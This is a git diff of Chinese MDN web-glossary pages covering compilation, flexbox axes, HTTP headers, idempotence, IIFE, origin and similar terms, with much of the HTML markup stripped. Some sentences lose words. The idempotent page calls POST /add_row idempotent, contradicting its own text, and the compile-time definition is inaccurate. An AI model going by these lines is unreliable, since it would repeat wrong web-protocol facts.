+ + diff --git a/files/zh-cn/glossary/compile/index.html b/files/zh-cn/glossary/compile/index.html new file mode 100644 index 0000000000..0e11863653 --- /dev/null +++ b/files/zh-cn/glossary/compile/index.html @@ -0,0 +1,28 @@ +--- +title: 编译 +slug: Glossary/编译 +translation_of: Glossary/Compile +--- +

编译是将相同的程序从一种计算机程序语言转换到另一种语言计算机语言的过程。编译器是运行上述任务的软件。有时候,任务也被称为“汇编”或“构建”,这通常表示不仅仅编译完成,例如,用二进制格式进行打包。

+ +

通常,编译器转换一个人类理解的高级语言例如c或者java到机器语言,例如cpu理解的汇编语言。一些编译器转化同级别语言的被称为转换器或者交叉编译器,例如从TypeScript到jiavascript的编译。这些通常被理解为效率工具。

+ +

绝大多数编译器以预先编译(AOT)或实时编译(JIT)形式工作。作为一个开发者,你通常使用命令行或者集成开发环境(IDE)调用预先编译(AOT)的编译器。最出名的就是gcc编译器了。

+ +

实时编译器通常是用来提高性能的,令你没有感知的。例如在浏览器中,Firefox的SpiderMonkey的JavaScript引擎又一个内置的实时编译器会在你浏览时将网页中的JavaScript代码编译为机器码,从而提供运行效率。类似WebAssembly的项目正在使这些工作做的更好。

+ +

了解更多

+ +

基础知识

+ + + +

学习资料

+ + diff --git a/files/zh-cn/glossary/compile_time/index.html b/files/zh-cn/glossary/compile_time/index.html new file mode 100644 index 0000000000..8c94f6fa5f --- /dev/null +++ b/files/zh-cn/glossary/compile_time/index.html @@ -0,0 +1,16 @@ +--- +title: 编译时间 +slug: Glossary/编译时间 +translation_of: Glossary/Compile_time +--- +

编译时间是指程序从被加载到程序被解析完成所用的时间。

+ +

学习更多

+ +

基础知识

+ + + +

 

diff --git a/files/zh-cn/glossary/cross_axis/index.html b/files/zh-cn/glossary/cross_axis/index.html new file mode 100644 index 0000000000..27412c4d85 --- /dev/null +++ b/files/zh-cn/glossary/cross_axis/index.html @@ -0,0 +1,72 @@ +--- +title: 交叉轴 +slug: Glossary/交叉轴 +translation_of: Glossary/Cross_Axis +--- +

弹性容器 {{glossary("flexbox")}} 的交叉轴和主轴 {{glossary("main axis")}} 垂直,因此如果弹性方向是 {{cssxref("flex-direction")}} 行 row 或者反向行 row-reverse ,那么交叉轴就是从上至下地垂直走向的。

+ +

The cross axis runs down the column

+ +

如果你的主轴是列 column 或者反向列 column-reverse ,那么交叉轴就是水平走向的。

+ +

The cross axis runs along the row.

+ +

要在交叉轴上对齐,是通过弹性容器的 align-items 属性来控制的,或者通过弹性元素的 align-self 属性来单独决定的对齐方式。在多行弹性容器中,交叉轴上有多余控件的话,你还可以用 align-content 来控制行的间距。

+ +

学习更多

+ +

属性参考

+ +
+
    +
  • {{cssxref("align-content")}}
  • +
  • {{cssxref("align-items")}}
  • +
  • {{cssxref("align-self")}}
  • +
  • {{cssxref("flex-wrap")}}
  • +
  • {{cssxref("flex-direction")}}
  • +
  • {{cssxref("flex")}}
  • +
+
+ +

拓展阅读

+ + + + + +
+
+
diff --git a/files/zh-cn/glossary/database/index.html b/files/zh-cn/glossary/database/index.html new file mode 100644 index 0000000000..d26907d711 --- /dev/null +++ b/files/zh-cn/glossary/database/index.html @@ -0,0 +1,25 @@ +--- +title: 数据库 +slug: Glossary/数据库 +tags: + - 数据库 +translation_of: Glossary/Database +--- +

数据库是一种用于收集已组织好的数据以便于搜索、结构化和扩充的存储系统。

+ +

网站开发中, 大多数数据库采用关系型数据库管理系统 (RDBMS) 来组织数据, 通过 {{glossary("SQL")}}语言来编程。 但有些数据库没有遵循上述的组织数据的机制,这类被称作 NoSQL 数据库。

+ +

被广泛使用的服务端关系型数据库有 MySQL (或者源于它的 MariaDB ), SQL Server, 和 Oracle Database 等。另一边,出名的 NoSQL 数据库有 MongoDBCassandraRedis等。

+ +

浏览器也有他们特有的数据库系统,被称作 {{glossary("IndexedDB")}}。

+ + diff --git a/files/zh-cn/glossary/dhtml/index.html b/files/zh-cn/glossary/dhtml/index.html new file mode 100644 index 0000000000..c04ab59714 --- /dev/null +++ b/files/zh-cn/glossary/dhtml/index.html @@ -0,0 +1,143 @@ +--- +title: DHTML +slug: DHTML +translation_of: Glossary/DHTML +--- +

1、DHTML 对象 !DOCTYPE 指定了 HTML 文档遵循的文档类型定义(DTD)。

+

a 标明超链接的起始或目的位置。

+

acronym 标明缩写词。

+

address 特定信息,如地址、签名、作者、此文档的原创者。

+

applet 在页面上放置可执行内容。

+

area 定义一个客户端图像映射中一个超级链接区域的形状、坐标和关联 URL。

+

attribute 以对象的形式代表了 HTML 元素的标签属性或属性。

+

b 指定文本应以粗体渲染。

+

base 指定一个显示 URL 用于解析对于外部源的链接和引用,如图像和样式表。

+

baseFont 设置渲染文本时作为缺省字体的基础字体值。

+

bdo 允许作者为选定文本片断禁用双向法则。

+

bgSound 允许页面带有背景声音或创建音轨。

+

big 指定内含文本要以比当前字体稍大的字体显示。

+

blockQuote 设置文本中的一段引语。

+

body 指定文档主体的开始和结束。

+

br 插入一个换行符。

+

button 指定其中所含的 HTML 要被渲染为一个按钮。

+

caption 指定表格的简要描述。

+

center 将后面的文本和图像居中显示。

+

cite 用斜体显示标明引言。

+

clientInformation 包含关于 Web 浏览器的信息。

+

clipboardData 提供了对于预定义的剪贴板格式的访问,以便在编辑操作中使用。

+

code 指定代码范例。

+

col 指定基于列的表格缺省属性。

+

colGroup 指定表格中一列或一组列的缺省属性。

+

comment 标明不可见的注释。

+

currentStyle 代表了在全局样式表、内嵌样式和 HTML 标签属性中指定的对象格式和样式。

+

custom 代表了一个用户自定义元素。

+

dataTransfer 提供了对于预定义的剪贴板格式的访问,以便在拖曳操作中使用。

+

dd 在定义列表中表明定义。定义通常在定义列表中缩进。

+

defaults 编程设定元素行为的缺省属性。

+

del 表明文本已经从文档中删除。

+

dfn 表明术语的定义实例。

+

对话框帮助协助程序 提供对颜色对话框及块格式化和字体集合的访问。

+

dir 引起目录列表。

+

div 指定渲染 HTML 的容器。

+

dl 引起定义列表。

+

document 代表给定浏览器窗口中的 HTML 文档。

+

dt 在定义列表中表明定义术语。

+

em 强调文本,通常以斜体渲染。

+

embed 允许嵌入任何文档。

+

event 代表事件状态,如事件发生的元素,键盘状态,鼠标位置和鼠标按钮状态。

+

external 允许访问由 Microsoft? Internet Explorer 浏览器组件宿主应用程序提供的附加对象模型。

+

fieldSet 在字段集包含的文本和其它元素外面绘制一个方框。

+

font 指定用于渲染所包含文本的新字体、大小和颜色。

+

form 指定所包含控件在表单中起作用。

+

frame 在 FRAMESET 元素内指定单个框架。

+

frameSet 指定一个框架集,用于组织多个框架和嵌套框架集。

+

head 提供了关于文档的无序信息集合。

+

history 包含了用户已浏览的 URL 的信息。

+

hn 以标题样式渲染文本。

+

hr 绘制水平线。

+

html 表明文档包含 HTML 元素。

+

HTML 注释 避免任何内含文本或 HTML 源代码被处理并在浏览器窗口中显示。

+

i 指定文本应以斜体渲染,若可用的话。

+

iframe 创建内嵌浮动框架。

+

img 在文档中嵌入图像或视频剪辑。

+

implementation 包含了关于对象支持的模块信息。

+

IMPORT 从元素行为中导入标签定义。

+

input 创建各种表单输入控件。

+

input type=button 创建按钮控件。

+

input type=checkbox 创建复选框控件。

+

input type=file 创建文件上载控件,该控件带有一个文本框和一个浏览按钮。

+

input type=hidden 传输关于客户/服务器交互的状态信息。

+

input type=image 创建一个图像控件,该控件单击后将导致表单立即被提交。

+

input type=password 创建与 INPUT type=text 控件类似的单行文本输入控件,不过其中并不显示用户输入的内容。

+

input type=radio 创建单选钮控件。

+

input type=reset 创建一个按钮,该按钮单击后将重置表单控件为其缺省值。

+

input type=submit 创建一个按钮,该按钮单击后将提交表单。 input type=text 创建一个单行的文本输入控件。

+

ins 指定被插入到文档中的文本。

+

isIndex 使浏览器显示一个对话框,提示用户输入单行文本。

+

kbd 以固定宽度字体渲染文本。

+

label 为页面上的其它元素指定标签。

+

legend 在 fieldSet 对象绘制的方框内插入一个标题。

+

li 引起列表中的一个项目。

+

link 允许当前文档和外部文档之间建立连接。

+

listing 以固定字体渲染文本。

+

location 包含关于当前 URL 的信息。

+

map 包含客户端图像映射的坐标数据。

+

marquee 创建一个滚动的文本字幕。

+

menu 创建一个项目的无序列表。

+

meta 向服务器和客户端传达关于文档的隐藏信息。

+

namespace 向文档中动态导入一个元素行为。

+

navigator 包含关于 Web 浏览器的信息。

+

nextID 创建编辑软件可以读取的唯一标识符。

+

noBR 不换行渲染文本。 noFrames 包含对于那些不支持 FRAMESET 元素的浏览器使用的 HTML。

+

noScript 指定要在不支持脚本的浏览器显示的 HTML。

+

object 向 HTML 页面中插入对象。

+

ol 绘制文本的编号列表。

+

optGroup 允许作者对 select 元素中的选项进行逻辑分组。

+

option 引起 SELECT 元素中的一个选项。

+

p 引起一段。

+

page 代表 styleSheet 中的一条 @page 规则。

+

param 设置 APPLET、EMBED 或 OBJECT 元素的属性初始值。

+

plainText 以固定宽度字体渲染文本,不处理标签。

+

popup 一种特殊的顶层窗口,主要用于出现在应用程序主窗口之外的对话框、消息框和其它临时窗 口。

+

pre 以固定宽度字体渲染文本。

+

q 分离文本中的引语。

+

rt 指明 RUBY 元素的注音文本。

+

ruby 指明要放置在文本串之上或内嵌的注解或发音指南。

+

rule 代表了层叠样式表(CSS)中由选择符和一个或多个声明组成的的样式。

+

runtimeStyle 代表了居于全局样式表、内嵌样式和 HTML 标签属性指定的格式和样式之上的对象的格式和样式。

+

s 以删除线字体渲染文本。

+

samp 指定代码范例。

+

screen 包含关于客户屏幕和渲染能力的信息。

+

script 为脚本指定由脚本引擎解释的脚本。

+

select 引起列表框或下拉框。

+

selection 代表了当前激活选中区,即高亮文本块,和/或文档中用户可执行某些操作的其它元素。

+

small 指定内含文本要以比当前字体稍小的字体显示。

+

span 指定内嵌文本容器。

+

strike 以删除线字体渲染文本。

+

strong 以粗体渲染文本。

+

style 代表了给定元素所有可能的内嵌样式的当前设置。

+

style 指定页面的样式表。

+

styleSheet 代表了文档中单一的样式表。

+

sub 指定内含文本要以下标的形式显示,通常比当前字体稍小。

+

sup 指定内含文本要以上标的形式显示,通常比当前字体稍小。

+

table 指定所含内容要组织成行列的表格。

+

tBody 指明行作为表格主体。

+

td 指定表格中的单元格。

+

textArea 指定多行文本输入控件。

+

TextNode 将文本字符串代表为文档层次中的结点。

+

TextRange 代表 HTML 元素中的文本。

+

TextRectangle 指定包含元素或 TextRange 对象中一行文本的矩形。

+

tFoot 指明行作为表尾。

+

th 指定标题列。标题列将在单元格中居中并以粗体显示。

+

tHead 指明行作为表头。

+

title 包含文档的标题。

+

tr 指定表格中的一行。

+

tt 以固定宽度字体渲染文本。

+

u 带下划线渲染文本。

+

ul 绘制文本的项目符号列表。

+

userProfile 提供了允许脚本对用户配置信息请求读取访问并执行读取操作的方法。

+

var 定义编程变量。通常以斜体渲染。

+

wbr 向一块 NOBR 文本中插入软换行。

+

window 代表浏览器中一个打开的窗口。

+

xml 在 HTML 页面上定义一个 XML 数据岛。

+

xmp 以固定宽度字体渲染作为示例的字体。

diff --git a/files/zh-cn/glossary/digital_certificate/index.html b/files/zh-cn/glossary/digital_certificate/index.html new file mode 100644 index 0000000000..0f6702c480 --- /dev/null +++ b/files/zh-cn/glossary/digital_certificate/index.html @@ -0,0 +1,12 @@ +--- +title: 数字证书 +slug: Glossary/数字证书 +translation_of: Glossary/Digital_certificate +--- +

数字证书是一个将公开的{{Glossary("Key", "加密密钥")}}和一个组织绑定的数据文件。 一个数字证书包含一个组织的信息,如公共名称(例如mozilla.org),组织单元(例如Mozilla Corporation)以及位置(例如Mountain View)。数字证书通常由{{Glossary("certificate authority")}}签署,以证明其真实性。

+ +

了解更多

+ + diff --git a/files/zh-cn/glossary/domain_name/index.html b/files/zh-cn/glossary/domain_name/index.html new file mode 100644 index 0000000000..cb88cc041b --- /dev/null +++ b/files/zh-cn/glossary/domain_name/index.html @@ -0,0 +1,15 @@ +--- +title: 域名 +slug: Glossary/域名 +translation_of: Glossary/Domain_name +--- +

域名是在 {{Glossary("Internet", "互联网")}} 的网站的地址。域名被用于 {{Glossary("URL","URL")}} 识别一个服务器属于哪个特定的网站。域名包含由句号点(”.“)分隔的名称(标签)的分级序列并以 {{glossary("TLD","扩展名")}} 作为结尾。

+ +

了解更多

+ +

基础知识

+ + diff --git a/files/zh-cn/glossary/dtd/index.html b/files/zh-cn/glossary/dtd/index.html deleted file mode 100644 index 543d822170..0000000000 --- a/files/zh-cn/glossary/dtd/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: DTD -slug: Glossary/DTD -translation_of: Glossary/Doctype -translation_of_original: Glossary/DTD ---- -

{{page("/en-US/docs/Glossary/Doctype")}}

- -

<!DOCTYPE> informs the browser which version of HTML (or XML) you used to write the document. Doctype is a declaration, not a tag; you can also refer to it as "document type declaration", or "DTD" for short.

diff --git a/files/zh-cn/glossary/element/index.html b/files/zh-cn/glossary/element/index.html new file mode 100644 index 0000000000..d199da5b07 --- /dev/null +++ b/files/zh-cn/glossary/element/index.html @@ -0,0 +1,22 @@ +--- +title: Element(元素) +slug: Glossary/元素 +tags: + - HTML + - XML + - 术语 + - 编程 +translation_of: Glossary/Element +--- +

元素是网页的一部分,在 {{glossary("XML")}} 和 {{glossary("HTML")}} 中,一个元素可以包含一个数据项,或是一块文本,或是一张照片,亦或是什么也不包含。 一个典型的元素包括一个具有一些{{glossary("attribute", "属性")}}的开始标签,中间的文本内容和一个结束标签。
+ Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

+ +

元素和{{glossary("tag", "标签")}}不是同一种概念。源代码中的标签用来标识元素的开始或结束,而元素是文档对象模型({{Glossary("DOM")}})中的一部分,文档对象模型会被{{glossary("browser", "浏览器")}}渲染、展示为页面。

+ +

相关信息

+ + diff --git a/files/zh-cn/glossary/empty_element/index.html b/files/zh-cn/glossary/empty_element/index.html new file mode 100644 index 0000000000..6d9fb8d229 --- /dev/null +++ b/files/zh-cn/glossary/empty_element/index.html @@ -0,0 +1,40 @@ +--- +title: 空元素 +slug: Glossary/空元素 +tags: + - Glossary + - 中级 + - 词汇 +translation_of: Glossary/Empty_element +--- +

一个空元素(empty element)可能是 HTML,SVG,或者 MathML 里的一个不能存在子节点(例如内嵌的元素或者元素内的文本)的{{Glossary("element")}}。

+ +

HTMLSVG 和 MathML 的规范都详细定义了每个元素能包含的具体内容(define very precisely what each element can contain)。许多组合是没有任何语义含义的,比如一个 {{HTMLElement("audio")}} 元素嵌套在一个 {{HTMLElement("hr")}} 元素里。

+ +

在 HTML 中,通常在一个空元素上使用一个闭标签是无效的。例如, <input type="text"></input> 的闭标签是无效的 HTML。

+ +

在 HTML 中有以下这些空元素:

+ + + +
+

Note: 在极少数情况下,空元素被错误地称为“无效元素”(void elements)。

+
diff --git a/files/zh-cn/glossary/forbidden_header_name/index.html b/files/zh-cn/glossary/forbidden_header_name/index.html new file mode 100644 index 0000000000..6e14c9b0a1 --- /dev/null +++ b/files/zh-cn/glossary/forbidden_header_name/index.html @@ -0,0 +1,39 @@ +--- +title: 禁止修改的消息首部 +slug: Glossary/禁止修改的消息首部 +translation_of: Glossary/Forbidden_header_name +--- +

禁止修改的消息首部指的是不能在代码中通过编程的方式进行修改的HTTP协议消息首部。本文仅讨论相关的HTTP请求首部(关于禁止修改的响应首部,请参考 {{Glossary("Forbidden response header name")}})。

+ +

用户代理对这些消息首部保留全部控制权,应用程序无法设置它们。 Names starting with `Sec-` are reserved for creating new headers safe from {{glossary("API","APIs")}} using Fetch that grant developers control over headers, such as {{domxref("XMLHttpRequest")}}.

+ +

禁止修改的消息首部包括以 Proxy- 和 Sec- 开头的消息首部,以及下面列出的消息首部:

+ + + +
+

注意: 根据最新的规范User-Agent 首部已经从列表中移除。更多内容请参考规范的 forbidden header name list 一节(Firefox 43 实现了对这一更改的支持)。因此,该首部已经可以用于诸如 Fetch 的 Headers 对象,XHR 的 setRequestHeader()? 中。

+
diff --git a/files/zh-cn/glossary/general_header/index.html b/files/zh-cn/glossary/general_header/index.html new file mode 100644 index 0000000000..acb1f99edf --- /dev/null +++ b/files/zh-cn/glossary/general_header/index.html @@ -0,0 +1,11 @@ +--- +title: General header(通用首部) +slug: Glossary/通用首部 +tags: + - HTTP + - 术语 +translation_of: Glossary/General_header +--- +

通用首部指的是可以应用于请求和响应中,但是不能应用于消息内容自身的 {{glossary('Header', 'HTTP 首部')}} 。 取决于应用的上下文环境,通用首部可以是{{glossary("Response header", "响应头部")}}或者{{glossary("request header", "请求头部")}}。但是不可以是{{glossary("entity header", "实体头部")}}。

+ +

最常见的通用首部包括:{{HTTPHeader('Date')}}、{{HTTPheader("Cache-Control")}} 或 {{HTTPHeader("Connection")}}。

diff --git a/files/zh-cn/glossary/graceful_degradation/index.html b/files/zh-cn/glossary/graceful_degradation/index.html new file mode 100644 index 0000000000..acd22a665e --- /dev/null +++ b/files/zh-cn/glossary/graceful_degradation/index.html @@ -0,0 +1,37 @@ +--- +title: Graceful degradation(优雅降级) +slug: Glossary/优雅降级 +tags: + - 优雅降级 + - 设计 + - 词汇表 +translation_of: Glossary/Graceful_degradation +--- +

优雅降级(Graceful degradation)是一种设计理念,其核心是尝试构建可在最新浏览器中运行的现代网站/应用程序,而作为降级体验,在低版本浏览器中仍然提供必要的内容和功能。

+ +

{{Glossary("Polyfill","Polyfill")}}可用于使用JavaScript构建缺少的功能,但应尽可能提供样式和布局等功能的可接受替代方案,例如使用CSS级联或HTML回退行为。在处理常见的HTML和CSS问题中可以找到一些很好的例子。

+ +

这个技术很有用,因为它让Web开发者,在专注开发最强大的网站同时,和某些未知的用户代理,在访问网站时发生的问题间达到权衡。{{Glossary("渐进增强")}}相关而不同—通常被看做优雅降级的相反行为。实际上,这两种方法都是有效的,并且通常可以相互补充。

+ +

了解更多

+ +

基本知识

+ + + + diff --git a/files/zh-cn/glossary/header/index.html b/files/zh-cn/glossary/header/index.html deleted file mode 100644 index a79ef62498..0000000000 --- a/files/zh-cn/glossary/header/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: HTTP header(HTTP 首部) -slug: Glossary/Header -tags: - - Glossary - - HTTP - - 术语 -translation_of: Glossary/HTTP_header ---- -

HTTP header(HTTP 首部,HTTP 头)表示在 HTTP 请求或响应中的用来传递附加信息的字段,修改所传递的消息(或者消息主体)的语义,或者使其更加精确。消息首部不区分大小写,开始于一行的开头,后面紧跟着一个 ':' 和与之相关的值。字段值在一个换行符(CRLF)前或者整个消息的末尾结束。

- -

按照惯例,可以把消息首部分为几类,尽管这种划分不存在于任何一份规范文档中:

- - - -

一个仅包含一个首部的请求:

- -
GET /example.http HTTP/1.1
-Host: example.com
-
- -

重定向请求中必须包含 ({{HTTPHeader("Location")}}) 首部:

- -
302 Found
-Location: /NewPage.html
-
- -

一些典型的首部:

- -
304 Not Modified
-Access-Control-Allow-Origin: *
-Age: 2318192
-Cache-Control: public, max-age=315360000
-Connection: keep-alive
-Date: Mon, 18 Jul 2016 16:06:00 GMT
-Server: Apache
-Vary: Accept-Encoding
-Via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (CloudFront)
-X-Amz-Cf-Id: TOl0FEm6uI4fgLdrKJx0Vao5hpkKGZULYN2TWD2gAWLtr7vlNjTvZw==
-X-Backend-Server: developer6.webapp.scl3.mozilla.com
-X-Cache: Hit from cloudfront
-X-Cache-Info: cached
-
- - diff --git a/files/zh-cn/glossary/http_header/index.html b/files/zh-cn/glossary/http_header/index.html new file mode 100644 index 0000000000..a79ef62498 --- /dev/null +++ b/files/zh-cn/glossary/http_header/index.html @@ -0,0 +1,76 @@ +--- +title: HTTP header(HTTP 首部) +slug: Glossary/Header +tags: + - Glossary + - HTTP + - 术语 +translation_of: Glossary/HTTP_header +--- +

HTTP header(HTTP 首部,HTTP 头)表示在 HTTP 请求或响应中的用来传递附加信息的字段,修改所传递的消息(或者消息主体)的语义,或者使其更加精确。消息首部不区分大小写,开始于一行的开头,后面紧跟着一个 ':' 和与之相关的值。字段值在一个换行符(CRLF)前或者整个消息的末尾结束。

+ +

按照惯例,可以把消息首部分为几类,尽管这种划分不存在于任何一份规范文档中:

+ + + +

一个仅包含一个首部的请求:

+ +
GET /example.http HTTP/1.1
+Host: example.com
+
+ +

重定向请求中必须包含 ({{HTTPHeader("Location")}}) 首部:

+ +
302 Found
+Location: /NewPage.html
+
+ +

一些典型的首部:

+ +
304 Not Modified
+Access-Control-Allow-Origin: *
+Age: 2318192
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Date: Mon, 18 Jul 2016 16:06:00 GMT
+Server: Apache
+Vary: Accept-Encoding
+Via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (CloudFront)
+X-Amz-Cf-Id: TOl0FEm6uI4fgLdrKJx0Vao5hpkKGZULYN2TWD2gAWLtr7vlNjTvZw==
+X-Backend-Server: developer6.webapp.scl3.mozilla.com
+X-Cache: Hit from cloudfront
+X-Cache-Info: cached
+
+ + diff --git a/files/zh-cn/glossary/idempotent/index.html b/files/zh-cn/glossary/idempotent/index.html new file mode 100644 index 0000000000..cc8b22c143 --- /dev/null +++ b/files/zh-cn/glossary/idempotent/index.html @@ -0,0 +1,49 @@ +--- +title: 幂等 +slug: Glossary/幂等 +tags: + - Glossary + - WebMechanics +translation_of: Glossary/Idempotent +--- +

一个HTTP方法是幂等的,指的是同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下, {{HTTPMethod("GET")}} , {{HTTPMethod("HEAD")}} , {{HTTPMethod("PUT")}} 和 {{HTTPMethod("DELETE")}}  等方法都是幂等的,而  {{HTTPMethod("POST")}}  方法不是。所有的 {{glossary("safe")}} 方法也都是幂等的。

+ +

幂等性只与后端服务器的实际状态有关,而每一次请求接收到的状态码不一定相同。例如,第一次调用 {{HTTPMethod("DELETE")}} 方法有可能返回 {{HTTPStatus("200")}} ,但是后续的请求可能会返回 {{HTTPStatus("404")}} 。 {{HTTPMethod("DELETE")}} 的言外之意是,开发者不应该使用 DELETE 法实现具有删除最后条目功能的 RESTful API。

+ +

需要注意的是,服务器不一定会确保请求方法的幂等性,有些应用可能会错误地打破幂等性约束。

+ +

GET /pageX HTTP/1.1 幂等的。连续调用多次,客户端接收到的结果都是一样的:

+ +
GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+
+ +

POST /add_row HTTP/1.1 是幂等的。如果调用多次,就会增加多行记录:

+ +
POST /add_row HTTP/1.1
+POST /add_row HTTP/1.1   -> Adds a 2nd row
+POST /add_row HTTP/1.1   -> Adds a 3rd row
+
+ +

DELETE /idX/delete HTTP/1.1 幂等的,即便是不同请求之间接收到的状态码不一样:

+ +
DELETE /idX/delete HTTP/1.1   -> Returns 200 if idX exists
+DELETE /idX/delete HTTP/1.1   -> Returns 404 as it just got deleted
+DELETE /idX/delete HTTP/1.1   -> Returns 404
+ +

了解更多

+ +

基本知识

+ + + +

技术知识

+ + diff --git a/files/zh-cn/glossary/iife/index.html b/files/zh-cn/glossary/iife/index.html new file mode 100644 index 0000000000..659d1e8670 --- /dev/null +++ b/files/zh-cn/glossary/iife/index.html @@ -0,0 +1,63 @@ +--- +title: IIFE(立即调用函数表达式) +slug: Glossary/立即执行函数表达式 +tags: + - CodingScripting + - Glossary + - JavaScript + - 术语 +translation_of: Glossary/IIFE +--- +

IIFE( 立即调用函数表达式)是一个在定义时就会立即执行的  {{glossary("JavaScript")}} {{glossary("function","函数")}}。

+ +
(function () {
+    statements
+})();
+ +

这是一个被称为 {{glossary("Self-Executing Anonymous Function", "自执行匿名函数")}} 的设计模式,主要包含两部分。第一部分是包围在 {{jsxref("Operators/Grouping", "圆括号运算符")}} () 里的一个匿名函数,这个匿名函数拥有独立的词法作用域。这不仅避免了外界访问此 IIFE 中的变量,而且又不会污染全局作用域。

+ +

第二部分再一次使用 () 创建了一个立即执行函数表达式,JavaScript 引擎到此将直接执行函数。

+ +

示例

+ +

当函数变成立即执行的函数表达式时,表达式中的变量不能从外部访问。

+ +
(function () {
+    var name = "Barry";
+})();
+// 无法从外部访问变量 name
+name // 抛出错误:"Uncaught ReferenceError: name is not defined"
+
+ +

将 IIFE 分配给一个变量,不是存储 IIFE 本身,而是存储 IIFE 执行后返回的结果。

+ +
var result = (function () {
+    var name = "Barry";
+    return name;
+})();
+// IIFE 执行后返回的结果:
+result; // "Barry"
+ +

了解更多

+ +

了解

+ + + +

常识

+ + + + diff --git a/files/zh-cn/glossary/ip_address/index.html b/files/zh-cn/glossary/ip_address/index.html new file mode 100644 index 0000000000..52686f1c20 --- /dev/null +++ b/files/zh-cn/glossary/ip_address/index.html @@ -0,0 +1,20 @@ +--- +title: IP地址 +slug: Glossary/IP地址 +tags: + - IP地址 + - 初学者 + - 术语表 +translation_of: Glossary/IP_Address +--- +

IP地址是分配给连接到使用Internet协议的网络的每个设备的一串数字。

+ +

在更广泛地使用IPv6之前,"IP地址"通常仍指32位IPv4地址。

+ +

了解更多

+ +

General knowledge

+ + diff --git "a/files/zh-cn/glossary/ip\345\234\260\345\235\200/index.html" "b/files/zh-cn/glossary/ip\345\234\260\345\235\200/index.html" deleted file mode 100644 index 52686f1c20..0000000000 --- "a/files/zh-cn/glossary/ip\345\234\260\345\235\200/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: IP地址 -slug: Glossary/IP地址 -tags: - - IP地址 - - 初学者 - - 术语表 -translation_of: Glossary/IP_Address ---- -

IP地址是分配给连接到使用Internet协议的网络的每个设备的一串数字。

- -

在更广泛地使用IPv6之前,"IP地址"通常仍指32位IPv4地址。

- -

了解更多

- -

General knowledge

- - diff --git a/files/zh-cn/glossary/localization/index.html b/files/zh-cn/glossary/localization/index.html new file mode 100644 index 0000000000..aafe809a5d --- /dev/null +++ b/files/zh-cn/glossary/localization/index.html @@ -0,0 +1,62 @@ +--- +title: 本地化 +slug: Localization +translation_of: Glossary/Localization +--- +

Localization (L10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture. These resources are for anyone with an interest in the technical aspects involved in localization. They are for developers and all contributors.

+ + + + + + + +
+

Documentation

+
+
+ Localization Quick Start Guide
+
+ First read for volunteers wanting to start localizing.
+
+ XUL Tutorial:Localization
+
+ XUL Tutorial section on localizing XUL applications.
+
+ Writing localizable code
+
+ Best practices and guidelines for programmers to play nicely with localization.
+
+ Localizing Help files
+
+ How to separate content from HTML to make these files more easy to localize.
+
+ Custom dialog size
+
+ How to adjust window sizes to fit specific localizations.
+
+ Localizing extension descriptions
+
+ To localize the description of an extension (the string that shows up under extension's name in the Extensions window), you need to use a special preference key to override the description specified in your install.rdf file. This article contains instructions on how to modify this preference key.
+
+ Frequently Asked Localization Questions
+
+ Frequently asked questions about localization.
+
+

View All...

+
+

Community

+
    +
  • View Mozilla forums...
  • +
+

{{ DiscussionList("dev-l10n", "mozilla.dev.l10n") }}

+ + + +
+

 

diff --git a/files/zh-cn/glossary/main_axis/index.html b/files/zh-cn/glossary/main_axis/index.html new file mode 100644 index 0000000000..c3c8b91de1 --- /dev/null +++ b/files/zh-cn/glossary/main_axis/index.html @@ -0,0 +1,50 @@ +--- +title: 主轴 +slug: Glossary/主轴 +translation_of: Glossary/Main_Axis +--- +

主轴是由弹性容器 {{glossary("flexbox")}} 中弹性方向 {{cssxref("flex-direction")}} 属性所定义的的。弹性方向 flex-direction  有4个可能的值,分别是:

+ + + +

选择行 row 或者 row-reverse 反向行,那么主轴方向就会沿着行的走向。

+ +

In this image the flex-direction is row which forms the main axis

+ +

选择列 column 或者反向列 column-reverse ,那么主轴就会从上至下沿着块的走向。

+ +

+ +

在主轴上,你可以用 flex 属性来增加可用空间,从而控制弹性元素的尺寸,你还可以用 justify-content 属性来控制元素周围的空间、间距。

+ +

学习更多

+ +

属性参考

+ +
+
    +
  • {{cssxref("flex-basis")}}
  • +
  • {{cssxref("flex-direction")}}
  • +
  • {{cssxref("flex-grow")}}
  • +
  • {{cssxref("flex-shrink")}}
  • +
  • {{cssxref("justify-content")}}
  • +
  • {{cssxref("flex")}}
  • +
+
+ +

拓展阅读

+ + + +
+
+
diff --git a/files/zh-cn/glossary/oop/index.html b/files/zh-cn/glossary/oop/index.html new file mode 100644 index 0000000000..4f2793cc69 --- /dev/null +++ b/files/zh-cn/glossary/oop/index.html @@ -0,0 +1,21 @@ +--- +title: OOP +slug: Glossary/面向对象编程 +tags: + - 初学者 + - 术语 + - 编写脚本 +translation_of: Glossary/OOP +--- +

OOP(面向对象编程)是一种编程方法,其中数据封装在{{glossary("object","对象")}}中,对象本身在其上运行,而不是其组成部分。

+ +

{{glossary("JavaScript")}} 是高度面向对象的。它遵循基于原型的模型(与基于类的模型相反)。

+ +

了解更多

+ +

常识

+ + diff --git a/files/zh-cn/glossary/origin/index.html b/files/zh-cn/glossary/origin/index.html new file mode 100644 index 0000000000..83090ee98f --- /dev/null +++ b/files/zh-cn/glossary/origin/index.html @@ -0,0 +1,52 @@ +--- +title: Origin +slug: Glossary/源 +translation_of: Glossary/Origin +--- +

Web内容的源由用于访问它的{{Glossary("URL")}} 的方案(协议),主机(域名)和端口定义。只有当方案,主机和端口都匹配时,两个对象具有相同的起源。

+ +

某些操作仅限于同源内容,而可以使用 CORS 解除这个限制。

+ +

同源的例子

+ + + + + + + + + + + + +
http://example.com/app1/index.html
+ http://example.com/app2/index.html
same origin because same scheme (http) and host (example.com)
http://Example.com:80
+ http://example.com
same origin because a server delivers HTTP content through port 80 by default
+ +

不同源的例子

+ + + + + + + + + + + + + + + + +
http://example.com/app1
